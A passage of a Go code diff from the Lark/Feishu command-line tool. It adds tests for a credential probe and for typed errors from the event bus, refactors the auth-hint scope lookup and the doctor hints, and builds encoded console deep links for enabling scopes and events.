+// Wired through cmdutil.TestFactory(t, nil) so the canonical IOStreams,
+// Credential, Keychain and FileIO wiring is in place (per repo test-factory
+// guidance). The HttpClient is then swapped to our stub so we can drive
+// exact HTTP responses for the probe. Config-dir isolation is set up via
+// t.Setenv(LARKSUITE_CLI_CONFIG_DIR, t.TempDir()) so any incidental config
+// touch lands in a temp dir rather than the developer's real config.
+//
+// The returned buffer is the Factory's stderr. runProbe never writes to
+// stderr (it propagates a typed error or stays silent), so every test asserts
+// this buffer stays empty as an invariant.
+func fakeFactory(t *testing.T, rt http.RoundTripper) (*cmdutil.Factory, *bytes.Buffer) {
+	t.Helper()
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	f, _, errBuf, _ := cmdutil.TestFactory(t, nil)
+	f.HttpClient = func() (*http.Client, error) {
+		return &http.Client{Transport: rt}, nil
+	}
+	return f, errBuf
+}
+
+// assertConfigRejection asserts runProbe propagated a deterministic credential
+// rejection: a *errs.ConfigError (CategoryConfig / SubtypeInvalidClient). This
+// is the same typed error every other token-resolving command returns for the
+// same bad credentials, and nothing is written to stderr (the root dispatcher
+// renders the envelope). The numeric code is not asserted: the unified v3 Token
+// Endpoint reports invalid_client via the OAuth2 error string, not a Lark code.
+func assertConfigRejection(t *testing.T, err error, errBuf *bytes.Buffer) {
+	t.Helper()
+	if err == nil {
+		t.Fatal("expected *errs.ConfigError, got nil")
+	}
+	var cfgErr *errs.ConfigError
+	if !errors.As(err, &cfgErr) {
+		t.Fatalf("expected *errs.ConfigError, got %T: %v", err, err)
+	}
+	if cfgErr.Category != errs.CategoryConfig {
+		t.Errorf("Category = %q, want %q", cfgErr.Category, errs.CategoryConfig)
+	}
+	if cfgErr.Subtype != errs.SubtypeInvalidClient {
+		t.Errorf("Subtype = %q, want %q", cfgErr.Subtype, errs.SubtypeInvalidClient)
+	}
+	if errBuf.Len() != 0 {
+		t.Errorf("runProbe must not write to stderr, got: %q", errBuf.String())
+	}
+}
+
+// assertSilent asserts runProbe stayed quiet: no propagated error and nothing
+// written to stderr. Used for every ambiguous (non-credential) outcome.
+func assertSilent(t *testing.T, err error, errBuf *bytes.Buffer) {
+	t.Helper()
+	if err != nil {
+		t.Errorf("expected nil (silent), got error: %v", err)
+	}
+	if errBuf.Len() != 0 {
+		t.Errorf("expected no stderr output, got: %q", errBuf.String())
+	}
+}
+
+// invalid_client (bad / non-existent app_id or wrong secret) → the v3 Token
+// Endpoint returns HTTP 400 with the OAuth2 error → ConfigError/InvalidClient,
+// propagated. The probe endpoint must not be called when TAT fails.
+func TestRunProbe_TATInvalidClient_ReturnsConfigError(t *testing.T) {
+	rt := &fakeRT{
+		tatHandler: func(req *http.Request) (*http.Response, error) {
+			return jsonResp(400, `{"error":"invalid_client","error_description":"The client secret is invalid.","code":20002}`), nil
+		},
+	}
+	f, errBuf := fakeFactory(t, rt)
+
+	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
+
+	if rt.probeCalls != 0 {
+		t.Error("probe endpoint must not be called when TAT fails")
+	}
+	assertConfigRejection(t, err, errBuf)
+}
+
+// unauthorized_client is treated as the same credential rejection, propagated.
+func TestRunProbe_TATUnauthorizedClient_ReturnsConfigError(t *testing.T) {
+	rt := &fakeRT{
+		tatHandler: func(req *http.Request) (*http.Response, error) {
+			return jsonResp(401, `{"error":"unauthorized_client","error_description":"client not authorized"}`), nil
+		},
+	}
+	f, errBuf := fakeFactory(t, rt)
+	assertConfigRejection(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
+}
+
+// Any other deterministic client-side OAuth error (e.g. invalid_scope) falls
+// back to *errs.APIError via BuildAPIError — still typed, so the probe surfaces
+// it rather than swallowing — but is not a credential (ConfigError) rejection.
+func TestRunProbe_TATOtherClientError_Propagates(t *testing.T) {
+	rt := &fakeRT{
+		tatHandler: func(req *http.Request) (*http.Response, error) {
+			return jsonResp(400, `{"code":20068,"error":"invalid_scope","error_description":"unauthorized scope"}`), nil
+		},
+	}
+	f, errBuf := fakeFactory(t, rt)
+	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
+	if err == nil || !errs.IsTyped(err) {
+		t.Fatalf("expected a propagated typed error, got %T: %v", err, err)
+	}
+	if errBuf.Len() != 0 {
+		t.Errorf("runProbe must not write to stderr, got: %q", errBuf.String())
+	}
+}
+
+// Non-200 HTTP at the TAT endpoint is ambiguous (not a payload credential
+// rejection) → silent, exit 0.
+func TestRunProbe_TATHTTPNon200_Silent(t *testing.T) {
+	for _, code := range []int{401, 403, 500} {
+		rt := &fakeRT{
+			tatHandler: func(req *http.Request) (*http.Response, error) {
+				return jsonResp(code, `nope`), nil
+			},
+		}
+		f, errBuf := fakeFactory(t, rt)
+		assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
+	}
+}
+
+func TestRunProbe_TATTransportError_Silent(t *testing.T) {
+	rt := &fakeRT{
+		tatHandler: func(req *http.Request) (*http.Response, error) {
+			return nil, errors.New("network down")
+		},
+	}
+	f, errBuf := fakeFactory(t, rt)
+	assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
+}
+
+func TestRunProbe_TATSuccess_ProbeFails_Silent(t *testing.T) {
+	rt := &fakeRT{
+		probeHandler: func(req *http.Request) (*http.Response, error) {
+			return jsonResp(500, `server error`), nil
+		},
+	}
+	f, errBuf := fakeFactory(t, rt)
+	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
+	if rt.probeCalls != 1 {
+		t.Errorf("probe should be called once, got %d", rt.probeCalls)
+	}
+	assertSilent(t, err, errBuf)
+}
+
+func TestRunProbe_TATSuccess_ProbeOK_Silent(t *testing.T) {
+	rt := &fakeRT{}
+	f, errBuf := fakeFactory(t, rt)
+	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
+	if rt.tatCalls != 1 || rt.probeCalls != 1 {
+		t.Errorf("expected 1/1 calls, got tat=%d probe=%d", rt.tatCalls, rt.probeCalls)
+	}
+	assertSilent(t, err, errBuf)
+}
+
+func TestRunProbe_ProbeRequestShape(t *testing.T) {
+	rt := &fakeRT{}
+	f, _ := fakeFactory(t, rt)
+	if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if rt.probeReq == nil {
+		t.Fatal("probe request not captured")
+	}
+	if rt.probeReq.Method != http.MethodPost {
+		t.Errorf("probe method = %s, want POST", rt.probeReq.Method)
+	}
+	if got := rt.probeReq.URL.String(); got != "https://open.feishu.cn/open-apis/application/v6/larksuite_cli_app/probe" {
+		t.Errorf("probe URL = %s", got)
+	}
+	if got := rt.probeReq.Header.Get("Authorization"); got != "Bearer t-ok" {
+		t.Errorf("Authorization = %q, want Bearer t-ok", got)
+	}
+	if !strings.Contains(rt.probeBody, `"from":"lark-cli/`+build.Version+`"`) {
+		t.Errorf("probe body missing from field: %s", rt.probeBody)
+	}
+}
+
+func TestRunProbe_LarkBrand_HostRoutedCorrectly(t *testing.T) {
+	rt := &fakeRT{}
+	f, _ := fakeFactory(t, rt)
+	if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandLark); err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if rt.probeReq == nil {
+		t.Fatal("probe request not captured")
+	}
+	if !strings.Contains(rt.probeReq.URL.Host, "larksuite.com") {
+		t.Errorf("probe host = %s, want larksuite.com", rt.probeReq.URL.Host)
+	}
+}
+
+func TestRunProbe_HTTPClientError_Silent(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	f, _, errBuf, _ := cmdutil.TestFactory(t, nil)
+	f.HttpClient = func() (*http.Client, error) {
+		return nil, errors.New("client init failed")
+	}
+	assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
+}
+
+func TestRunProbe_TimeoutHonored(t *testing.T) {
+	rt := &fakeRT{
+		tatHandler: func(req *http.Request) (*http.Response, error) {
+			<-req.Context().Done()
+			return nil, req.Context().Err()
+		},
+	}
+	f, errBuf := fakeFactory(t, rt)
+
+	start := time.Now()
+	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
+	elapsed := time.Since(start)
+
+	if elapsed > 4*time.Second {
+		t.Errorf("runProbe took %v, expected <= ~3s", elapsed)
+	}
+	// A timeout is an ambiguous failure (context deadline → untyped), so it
+	// must stay silent and not block.
+	assertSilent(t, err, errBuf)
+}

cmd/config/init_test.go

@@ -65,8 +65,8 @@ func TestUpdateExistingProfileWithoutSecret_AppIdMismatch_EmitsValidationError(t
 
 // wrapUpdateExistingProfileErr is the caller-side classifier for the error
 // returned by updateExistingProfileWithoutSecret. It must preserve typed-error
-// exit semantics (regression: typed ValidationError was being downgraded to
-// InternalError by the legacy *output.ExitError-only passthrough).
+// exit semantics: a typed ValidationError must keep ExitValidation rather than
+// being downgraded to InternalError.
 
 func TestWrapUpdateExistingProfileErr_NilPassesThrough(t *testing.T) {
 	if got := wrapUpdateExistingProfileErr(nil); got != nil {
@@ -90,18 +90,6 @@ func TestWrapUpdateExistingProfileErr_TypedValidationErrorPreserved(t *testing.T
 	}
 }
 
-func TestWrapUpdateExistingProfileErr_LegacyExitErrorPreserved(t *testing.T) {
-	in := &output.ExitError{Code: 7, Err: errors.New("legacy")}
-	got := wrapUpdateExistingProfileErr(in)
-	var exitErr *output.ExitError
-	if !errors.As(got, &exitErr) {
-		t.Fatalf("expected *output.ExitError to pass through, got %T: %v", got, got)
-	}
-	if exitErr.Code != 7 {
-		t.Errorf("Code = %d, want 7", exitErr.Code)
-	}
-}
-
 func TestWrapUpdateExistingProfileErr_UntypedErrorBecomesInternal(t *testing.T) {
 	in := fmt.Errorf("disk full")
 	got := wrapUpdateExistingProfileErr(in)

cmd/doctor/doctor.go

@@ -14,6 +14,7 @@ import (
 
 	"github.com/spf13/cobra"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/build"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -94,7 +95,7 @@ func doctorRun(opts *DoctorOptions) error {
 		// underlying problem is still visible.
 		msg, hint := err.Error(), ""
 		if errors.Is(err, os.ErrNotExist) {
-			var cfgErr *core.ConfigError
+			var cfgErr *errs.ConfigError
 			if errors.As(core.NotConfiguredError(), &cfgErr) {
 				msg, hint = cfgErr.Message, cfgErr.Hint
 			}
@@ -108,7 +109,7 @@ func doctorRun(opts *DoctorOptions) error {
 	cfg, err := f.Config()
 	if err != nil {
 		hint := ""
-		var cfgErr *core.ConfigError
+		var cfgErr *errs.ConfigError
 		if errors.As(err, &cfgErr) {
 			hint = cfgErr.Hint
 		}
@@ -128,7 +129,10 @@ func doctorRun(opts *DoctorOptions) error {
 	if diagnostics.Bot.Available || diagnostics.User.Available {
 		checks = append(checks, pass("identity_ready", "at least one identity is available"))
 	} else {
-		checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", "run: lark-cli auth status --verify"))
+		// No hint: this only summarizes the two checks above, which already carry
+		// the source-appropriate remediation. A command here would be redundant,
+		// or wrong (`auth status` is blocked under an external provider).
+		checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", ""))
 	}
 
 	// ── 4 & 5. Endpoint reachability ──

cmd/doctor/doctor_test.go

@@ -4,14 +4,19 @@
 package doctor
 
 import (
+	"bytes"
 	"context"
 	"encoding/json"
+	"net/http"
+	"strings"
 	"testing"
 
 	"github.com/spf13/cobra"
 
+	extcred "github.com/larksuite/cli/extension/credential"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/credential"
 )
 
 func TestNewCmdDoctor_FlagParsing(t *testing.T) {
@@ -140,14 +145,84 @@ func TestDoctorRun_SplitsBotAndMissingUserIdentity(t *testing.T) {
 }
 
 func assertCheck(t *testing.T, checks []checkResult, name, status string) {
+	t.Helper()
+	if got := findCheck(t, checks, name); got.Status != status {
+		t.Fatalf("%s status = %q, want %q", name, got.Status, status)
+	}
+}
+
+func findCheck(t *testing.T, checks []checkResult, name string) checkResult {
 	t.Helper()
 	for _, check := range checks {
 		if check.Name == name {
-			if check.Status != status {
-				t.Fatalf("%s status = %q, want %q", name, check.Status, status)
-			}
-			return
+			return check
 		}
 	}
 	t.Fatalf("check %q not found in %#v", name, checks)
+	return checkResult{}
+}
+
+type fakeExtProvider struct {
+	name    string
+	account *extcred.Account
+}
+
+func (p *fakeExtProvider) Name() string { return p.name }
+func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
+	return p.account, nil
+}
+func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
+	return nil, nil
+}
+
+// Under an external credential provider with no usable identity, the
+// identity_ready hint must not point at `auth status` (blocked there); the
+// per-identity checks already carry the source-appropriate escalation.
+func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+	if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
+		CurrentApp: "default",
+		Apps:       []core.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu}},
+	}); err != nil {
+		t.Fatalf("SaveMultiAppConfig() error = %v", err)
+	}
+
+	// Provider serves neither identity: bot unsupported, user supported but not
+	// signed in → both unavailable → identity_ready fails.
+	cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser)}
+	cred := credential.NewCredentialProvider(
+		[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}},
+		nil, nil,
+		func() (*http.Client, error) { return nil, nil },
+	)
+	out := &bytes.Buffer{}
+	f := &cmdutil.Factory{
+		Config:     func() (*core.CliConfig, error) { return cfg, nil },
+		Credential: cred,
+		IOStreams:  &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
+	}
+
+	if err := doctorRun(&DoctorOptions{Factory: f, Ctx: context.Background(), Offline: true}); err == nil {
+		t.Fatalf("doctorRun() = nil, want failure when no identity is available")
+	}
+	var got struct {
+		Checks []checkResult `json:"checks"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &got); err != nil {
+		t.Fatalf("json.Unmarshal() error = %v\n%s", err, out.String())
+	}
+
+	ready := findCheck(t, got.Checks, "identity_ready")
+	if ready.Status != "fail" {
+		t.Fatalf("identity_ready status = %q, want fail", ready.Status)
+	}
+	// The summary defers to the per-identity checks; it carries no hint of its
+	// own (a command here would be wrong under an external provider).
+	if ready.Hint != "" {
+		t.Fatalf("identity_ready should carry no hint, got %q", ready.Hint)
+	}
+	user := findCheck(t, got.Checks, "user_identity")
+	if !strings.Contains(user.Hint, "external") || strings.Contains(user.Hint, "auth login") {
+		t.Fatalf("user_identity hint not external-appropriate: %q", user.Hint)
+	}
 }

cmd/error_auth_hint.go

@@ -11,10 +11,10 @@ import (
 	"github.com/spf13/cobra"
 
 	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/apicatalog"
 	internalauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/registry"
 	"github.com/larksuite/cli/shortcuts"
 	shortcutcommon "github.com/larksuite/cli/shortcuts/common"
@@ -48,32 +48,6 @@ func applyNeedAuthorizationHint(f *cmdutil.Factory, err error) {
 	authErr.Hint += "\n" + scopeHint
 }
 
-// enrichMissingScopeError appends a "current command requires scope(s): X"
-// hint to a legacy *output.ExitError when the underlying error carries the
-// need_user_authorization marker AND the current command declares scopes
-// locally.
-//
-// Deprecated: enrichment for the legacy envelope; the typed path is
-// applyNeedAuthorizationHint above.
-func enrichMissingScopeError(f *cmdutil.Factory, exitErr *output.ExitError) {
-	if exitErr == nil || exitErr.Detail == nil {
-		return
-	}
-	if !internalauth.IsNeedUserAuthorizationError(exitErr) {
-		return
-	}
-	scopes := resolveDeclaredScopesForCurrentCommand(f)
-	if len(scopes) == 0 {
-		return
-	}
-	scopeHint := fmt.Sprintf("current command requires scope(s): %s", strings.Join(scopes, ", "))
-	if exitErr.Detail.Hint == "" {
-		exitErr.Detail.Hint = scopeHint
-		return
-	}
-	exitErr.Detail.Hint += "\n" + scopeHint
-}
-
 // resolveDeclaredScopesForCurrentCommand returns the scopes declared by the
 // current command for the resolved identity, checking shortcuts first and then
 // service methods from local registry metadata.
@@ -118,38 +92,37 @@ func resolveDeclaredShortcutScopes(cmd *cobra.Command, identity string) []string
 }
 
 // resolveDeclaredServiceMethodScopes returns the scopes declared by a
-// service/resource/method command from the embedded from_meta registry.
+// service/resource/method command. It reconstructs the catalog path from the
+// command ancestry and resolves it through the same navigation Module the
+// command tree is built from (apicatalog), so it stays correct for nested
+// resources instead of hard-coding a root->service->resource->method depth.
+// Non-method commands (services, resources, shortcuts) resolve to a non-method
+// target and yield no scopes.
 func resolveDeclaredServiceMethodScopes(cmd *cobra.Command, identity string) []string {
-	// Service-method scope lookup only applies to commands mounted as
-	// root -> service -> resource -> method. Non-resource/method commands
-	// intentionally return no scopes here so auth-hint enrichment does not
-	// change runtime semantics for other command shapes.
-	if cmd == nil || cmd.Parent() == nil || cmd.Parent().Parent() == nil || cmd.Parent().Parent().Parent() == nil {
+	if cmd == nil || strings.HasPrefix(cmd.Name(), "+") {
 		return nil
 	}
-	if strings.HasPrefix(cmd.Name(), "+") {
+	path := commandCatalogPath(cmd)
+	if len(path) == 0 {
 		return nil
 	}
+	target, err := registry.RuntimeCatalog().Resolve(path)
+	if err != nil || target.Kind != apicatalog.TargetMethod {
+		return nil
+	}
+	return registry.DeclaredScopesForMethod(target.Method.Method, identity)
+}
 
-	service := cmd.Parent().Parent().Name()
-	resource := cmd.Parent().Name()
-	method := cmd.Name()
-
-	spec := registry.LoadFromMeta(service)
-	if spec == nil {
-		return nil
+// commandCatalogPath reconstructs the catalog path [service, resource..., method]
+// from a command's ancestry, excluding the root command. It is the inverse of
+// the service command tree's construction, so any depth (flat or nested)
+// round-trips through apicatalog.Resolve.
+func commandCatalogPath(cmd *cobra.Command) []string {
+	var path []string
+	for c := cmd; c != nil && c.Parent() != nil; c = c.Parent() {
+		path = append([]string{c.Name()}, path...)
 	}
-	resources, _ := spec["resources"].(map[string]interface{})
-	resMap, _ := resources[resource].(map[string]interface{})
-	if resMap == nil {
-		return nil
-	}
-	methods, _ := resMap["methods"].(map[string]interface{})
-	methodMap, _ := methods[method].(map[string]interface{})
-	if methodMap == nil {
-		return nil
-	}
-	return registry.DeclaredScopesForMethod(methodMap, identity)
+	return path
 }
 
 // shortcutSupportsIdentity reports whether a shortcut supports the requested

cmd/event/appmeta_err.go

@@ -8,7 +8,7 @@ import (
 	"regexp"
 )
 
-// authURLPattern matches the grant-scope URL embedded in 99991672 errors; widen when adding brands in consoleScopeGrantURL.
+// authURLPattern matches the grant-scope URL embedded in 99991672 errors; widen the host alternation when adding brands.
 var authURLPattern = regexp.MustCompile(`https?://open\.(?:feishu\.cn|larksuite\.com)/app/[^/\s"']+/auth\?q=[^\s"'<>]+`)
 
 // describeAppMetaErr reduces a FetchCurrentPublished error to a one-line stderr summary.

cmd/event/bus.go

@@ -12,6 +12,7 @@ import (
 
 	"github.com/spf13/cobra"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/event"
@@ -38,7 +39,8 @@ func NewCmdBus(f *cmdutil.Factory) *cobra.Command {
 
 			logger, err := bus.SetupBusLogger(eventsDir)
 			if err != nil {
-				return err
+				return errs.NewInternalError(errs.SubtypeFileIO,
+					"set up bus logger: %s", err).WithCause(err)
 			}
 
 			tr := transport.New()
@@ -58,7 +60,14 @@ func NewCmdBus(f *cmdutil.Factory) *cobra.Command {
 				}
 			}()
 
-			return b.Run(ctx)
+			if err := b.Run(ctx); err != nil {
+				if _, ok := errs.ProblemOf(err); ok {
+					return err
+				}
+				return errs.NewInternalError(errs.SubtypeUnknown,
+					"event bus daemon exited: %s", err).WithCause(err)
+			}
+			return nil
 		},
 	}
 

cmd/event/bus_test.go

@@ -0,0 +1,45 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package event
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// The hidden `event _bus` daemon command must exit with a typed file_io error
+// when its log directory cannot be created (the error is only visible in the
+// forked process's captured stderr / bus.log).
+func TestBusCommandLoggerSetupFailureIsTypedFileIO(t *testing.T) {
+	dir := t.TempDir()
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
+	// Block the events/ root with a regular file so MkdirAll fails.
+	if err := os.WriteFile(filepath.Join(dir, "events"), []byte("x"), 0600); err != nil {
+		t.Fatal(err)
+	}
+
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
+		AppID: "cli_bus_test", AppSecret: "secret", Brand: core.BrandFeishu,
+	})
+	cmd := NewCmdBus(f)
+	cmd.SetArgs([]string{})
+
+	err := cmd.Execute()
+	if err == nil {
+		t.Fatal("expected logger setup error")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("expected typed errs error, got %T: %v", err, err)
+	}
+	if p.Category != errs.CategoryInternal || p.Subtype != errs.SubtypeFileIO {
+		t.Errorf("problem = %s/%s, want %s/%s", p.Category, p.Subtype,
+			errs.CategoryInternal, errs.SubtypeFileIO)
+	}
+}

cmd/event/console_url.go

@@ -4,21 +4,117 @@
 package event
 
 import (
+	"bytes"
+	"compress/gzip"
+	"encoding/base64"
+	"encoding/json"
 	"fmt"
-	"strings"
 
 	"github.com/larksuite/cli/internal/core"
+	eventlib "github.com/larksuite/cli/internal/event"
 )
 
-// consoleScopeGrantURL builds the developer-console "apply & grant scopes" deep link; scopes are comma-joined without URL encoding.
-func consoleScopeGrantURL(brand core.LarkBrand, appID string, scopes []string) string {
-	host := core.ResolveEndpoints(brand).Open
-	return fmt.Sprintf("%s/app/%s/auth?q=%s&op_from=openapi&token_type=tenant",
-		host, appID, strings.Join(scopes, ","))
+// Landing-page contract for the scan-to-enable deep link, verified against the
+// open platform: {open-host}/page/launcher?clientID=<appID>&addons=<encoded>.
+// Note the param is camelCase "clientID" (not snake_case), and the value is the
+// consuming app's own ID. Centralized so it can be corrected in one place.
+const (
+	addonsLandingPath   = "/page/launcher"
+	addonsClientIDParam = "clientID"
+)
+
+// ManifestAddons mirrors the 5 public manifest sections the launcher page accepts.
+// Encoded form: JSON -> gzip -> base64url(no padding).
+type ManifestAddons struct {
+	Scopes    *AddonsScopes    `json:"scopes,omitempty"`
+	Events    *AddonsEvents    `json:"events,omitempty"`
+	Callbacks *AddonsCallbacks `json:"callbacks,omitempty"`
 }
 
-// consoleEventSubscriptionURL points at the app's event subscription console page.
-func consoleEventSubscriptionURL(brand core.LarkBrand, appID string) string {
-	host := core.ResolveEndpoints(brand).Open
-	return fmt.Sprintf("%s/app/%s/event", host, appID)
+type AddonsScopes struct {
+	Tenant []string `json:"tenant"`
+	User   []string `json:"user"`
+}
+
+type AddonsEvents struct {
+	Items AddonsEventItems `json:"items"`
+}
+
+type AddonsEventItems struct {
+	Tenant []string `json:"tenant"`
+	User   []string `json:"user"`
+}
+
+type AddonsCallbacks struct {
+	Items []string `json:"items"`
+}
+
+// encodeAddons: JSON -> gzip -> base64url(no padding). Matches the front-end decode chain.
+func encodeAddons(a ManifestAddons) (string, error) {
+	raw, err := json.Marshal(a)
+	if err != nil {
+		return "", err
+	}
+	var buf bytes.Buffer
+	gw := gzip.NewWriter(&buf)
+	if _, err := gw.Write(raw); err != nil {
+		return "", err
+	}
+	if err := gw.Close(); err != nil {
+		return "", err
+	}
+	return base64.RawURLEncoding.EncodeToString(buf.Bytes()), nil
+}
+
+// consoleAddonsURL builds the scan-to-enable deep link carrying incremental scopes/events/callbacks.
+func consoleAddonsURL(brand core.LarkBrand, appID string, a ManifestAddons) (string, error) {
+	encoded, err := encodeAddons(a)
+	if err != nil {
+		return "", err
+	}
+	host := core.ResolveEndpoints(brand).Open
+	return fmt.Sprintf("%s%s?%s=%s&addons=%s", host, addonsLandingPath, addonsClientIDParam, appID, encoded), nil
+}
+
+// consoleLandingURL is the bare landing page (no addons) — fallback when encoding fails.
+func consoleLandingURL(brand core.LarkBrand, appID string) string {
+	host := core.ResolveEndpoints(brand).Open
+	return fmt.Sprintf("%s%s?%s=%s", host, addonsLandingPath, addonsClientIDParam, appID)
+}
+
+// addonsHintURL returns the scan URL, degrading to the bare landing page on encode error.
+func addonsHintURL(brand core.LarkBrand, appID string, a ManifestAddons) string {
+	url, err := consoleAddonsURL(brand, appID, a)
+	if err != nil {
+		return consoleLandingURL(brand, appID)
+	}
+	return url
+}
+
+// missingScopeAddons routes missing scopes into the identity-appropriate section.
+// The unused side is an empty (non-nil) slice so JSON encodes [] not null —
+// the addons spec treats a missing tenant/user as an empty array.
+func missingScopeAddons(identity core.Identity, missing []string) ManifestAddons {
+	s := &AddonsScopes{Tenant: []string{}, User: []string{}}
+	if identity.IsBot() {
+		s.Tenant = missing
+	} else {
+		s.User = missing
+	}
+	return ManifestAddons{Scopes: s}
+}
+
+// missingSubscriptionAddons routes missing events/callbacks into the right section.
+// Like missingScopeAddons, unused event sides stay [] (not null) per the addons spec.
+func missingSubscriptionAddons(subType eventlib.SubscriptionType, identity core.Identity, missing []string) ManifestAddons {
+	if subType == eventlib.SubTypeCallback {
+		return ManifestAddons{Callbacks: &AddonsCallbacks{Items: missing}}
+	}
+	ev := &AddonsEvents{Items: AddonsEventItems{Tenant: []string{}, User: []string{}}}
+	if identity.IsBot() {
+		ev.Items.Tenant = missing
+	} else {
+		ev.Items.User = missing
+	}
+	return ManifestAddons{Events: ev}
 }

cmd/event/console_url_test.go

@@ -4,33 +4,109 @@
 package event
 
 import (
+	"bytes"
+	"compress/gzip"
+	"encoding/base64"
+	"encoding/json"
+	"io"
+	"strings"
 	"testing"
 
 	"github.com/larksuite/cli/internal/core"
+	eventlib "github.com/larksuite/cli/internal/event"
 )
 
-func TestConsoleScopeGrantURL_Feishu(t *testing.T) {
-	got := consoleScopeGrantURL(core.BrandFeishu, "cli_XXXXXXXXXXXXXXXX", []string{
-		"im:message:readonly",
-		"im:message.group_at_msg",
-	})
-	want := "https://open.feishu.cn/app/cli_XXXXXXXXXXXXXXXX/auth?q=im:message:readonly,im:message.group_at_msg&op_from=openapi&token_type=tenant"
-	if got != want {
-		t.Errorf("url\n got: %s\nwant: %s", got, want)
+func decodeAddons(t *testing.T, encoded string) ManifestAddons {
+	t.Helper()
+	gz, err := base64.RawURLEncoding.DecodeString(encoded)
+	if err != nil {
+		t.Fatalf("base64url decode: %v", err)
+	}
+	zr, err := gzip.NewReader(bytes.NewReader(gz))
+	if err != nil {
+		t.Fatalf("gzip reader: %v", err)
+	}
+	raw, err := io.ReadAll(zr)
+	if err != nil {
+		t.Fatalf("gunzip: %v", err)
+	}
+	var a ManifestAddons
+	if err := json.Unmarshal(raw, &a); err != nil {
+		t.Fatalf("json: %v", err)
+	}
+	return a
+}
+
+func TestEncodeAddons_RoundTrip(t *testing.T) {
+	in := ManifestAddons{Scopes: &AddonsScopes{Tenant: []string{"im:message"}}}
+	encoded, err := encodeAddons(in)
+	if err != nil {
+		t.Fatalf("encode: %v", err)
+	}
+	for _, r := range encoded {
+		if !(r == '-' || r == '_' || (r >= '0' && r <= '9') || (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z')) {
+			t.Fatalf("encoded contains non-base64url char %q in %q", r, encoded)
+		}
+	}
+	out := decodeAddons(t, encoded)
+	if out.Scopes == nil || len(out.Scopes.Tenant) != 1 || out.Scopes.Tenant[0] != "im:message" {
+		t.Errorf("roundtrip mismatch: %+v", out)
 	}
 }
 
-func TestConsoleScopeGrantURL_LarkBrand(t *testing.T) {
-	got := consoleScopeGrantURL(core.BrandLark, "cli_x", []string{"im:message"})
-	want := "https://open.larksuite.com/app/cli_x/auth?q=im:message&op_from=openapi&token_type=tenant"
-	if got != want {
-		t.Errorf("url\n got: %s\nwant: %s", got, want)
+func TestConsoleAddonsURL_FormatAndBrandHost(t *testing.T) {
+	url, err := consoleAddonsURL(core.BrandFeishu, "cli_x", ManifestAddons{Callbacks: &AddonsCallbacks{Items: []string{"card.action.trigger"}}})
+	if err != nil {
+		t.Fatalf("url: %v", err)
+	}
+	host := core.ResolveEndpoints(core.BrandFeishu).Open
+	prefix := host + "/page/launcher?clientID=cli_x&addons="
+	if !strings.HasPrefix(url, prefix) {
+		t.Errorf("url = %q, want prefix %q", url, prefix)
+	}
+	out := decodeAddons(t, strings.TrimPrefix(url, prefix))
+	if out.Callbacks == nil || len(out.Callbacks.Items) != 1 || out.Callbacks.Items[0] != "card.action.trigger" {
+		t.Errorf("decoded callbacks mismatch: %+v", out)
 	}
 }
 
-func TestConsoleScopeGrantURL_EmptyBrandDefaultsFeishu(t *testing.T) {
-	got := consoleScopeGrantURL("", "cli_x", []string{"im:message"})
-	if got != "https://open.feishu.cn/app/cli_x/auth?q=im:message&op_from=openapi&token_type=tenant" {
-		t.Errorf("unexpected url: %s", got)
